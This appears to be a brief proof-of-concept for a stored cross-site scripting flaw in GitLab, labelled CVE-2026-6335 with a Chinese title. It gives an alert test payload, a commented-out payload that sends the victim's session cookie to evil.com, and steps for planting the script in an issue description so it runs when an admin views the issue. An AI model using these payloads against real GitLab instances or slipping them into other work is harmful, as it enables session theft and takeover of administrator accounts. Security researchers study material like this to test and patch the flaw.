CVE-2026-6335 GitLab存储型XSS漏洞致代码执行

// PoC Concept for CVE-2026-6335 // Attacker injects this payload into a vulnerable field (e.g., Issue description) // Simple Alert Payload to verify vulnerability let maliciousPayload = '<img src=x onerror=alert(1)>'; // Advanced Payload to exfiltrate session cookies // let stealCookie = '<script>fetch(\'https://evil.com/steal?c=\'+document.cookie)</script>'; // Usage: // 1. Attacker logs in to GitLab. // 2. Navigates to a feature where user input is reflected and stored (e.g., create an Issue). // 3. Inputs the maliciousPayload into the description field. // 4. Submits the form. // 5. Victim (Admin) views the issue -> Code executes in Admin's browser.